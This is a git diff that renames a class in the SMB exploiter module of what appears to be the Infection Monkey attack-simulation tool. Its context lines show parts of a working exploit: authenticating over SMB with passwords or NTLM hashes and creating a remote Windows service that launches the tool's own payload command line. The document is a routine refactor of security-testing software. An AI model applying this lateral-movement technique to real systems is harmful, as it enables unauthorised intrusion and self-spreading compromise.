diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 9490d11d8..c4dd77e43 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -16,7 +16,7 @@ from infection_monkey.utils.commands import build_monkey_commandline logger = getLogger(__name__) -class SmbExploiter(HostExploiter): +class SMBExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] _EXPLOITED_SERVICE = "SMB" KNOWN_PROTOCOLS = { @@ -27,10 +27,10 @@ class SmbExploiter(HostExploiter): SMB_SERVICE_NAME = "InfectionMonkey" def __init__(self, host): - super(SmbExploiter, self).__init__(host) + super(SMBExploiter, self).__init__(host) def is_os_supported(self): - if super(SmbExploiter, self).is_os_supported(): + if super(SMBExploiter, self).is_os_supported(): return True if not self.host.os.get("type"): @@ -73,8 +73,8 @@ class SmbExploiter(HostExploiter): self.add_vuln_port( "%s or %s" % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) exploited = True @@ -109,14 +109,14 @@ class SmbExploiter(HostExploiter): } + build_monkey_commandline(self.host, self.current_depth - 1) smb_conn = False - for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): + for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport.set_dport(port) rpctransport.setRemoteHost(self.host.ip_addr) if hasattr(rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. rpctransport.set_credentials(user, password, "", lm_hash, ntlm_hash, None) - rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) + rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() @@ -148,8 +148,8 @@ class SmbExploiter(HostExploiter): resp = scmr.hRCreateServiceW( scmr_rpc, sc_handle, - SmbExploiter.SMB_SERVICE_NAME, - SmbExploiter.SMB_SERVICE_NAME, + SMBExploiter.SMB_SERVICE_NAME, + SMBExploiter.SMB_SERVICE_NAME, lpBinaryPathName=cmdline, ) service = resp["lpServiceHandle"] @@ -173,8 +173,8 @@ class SmbExploiter(HostExploiter): self.add_vuln_port( "%s or %s" % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) return True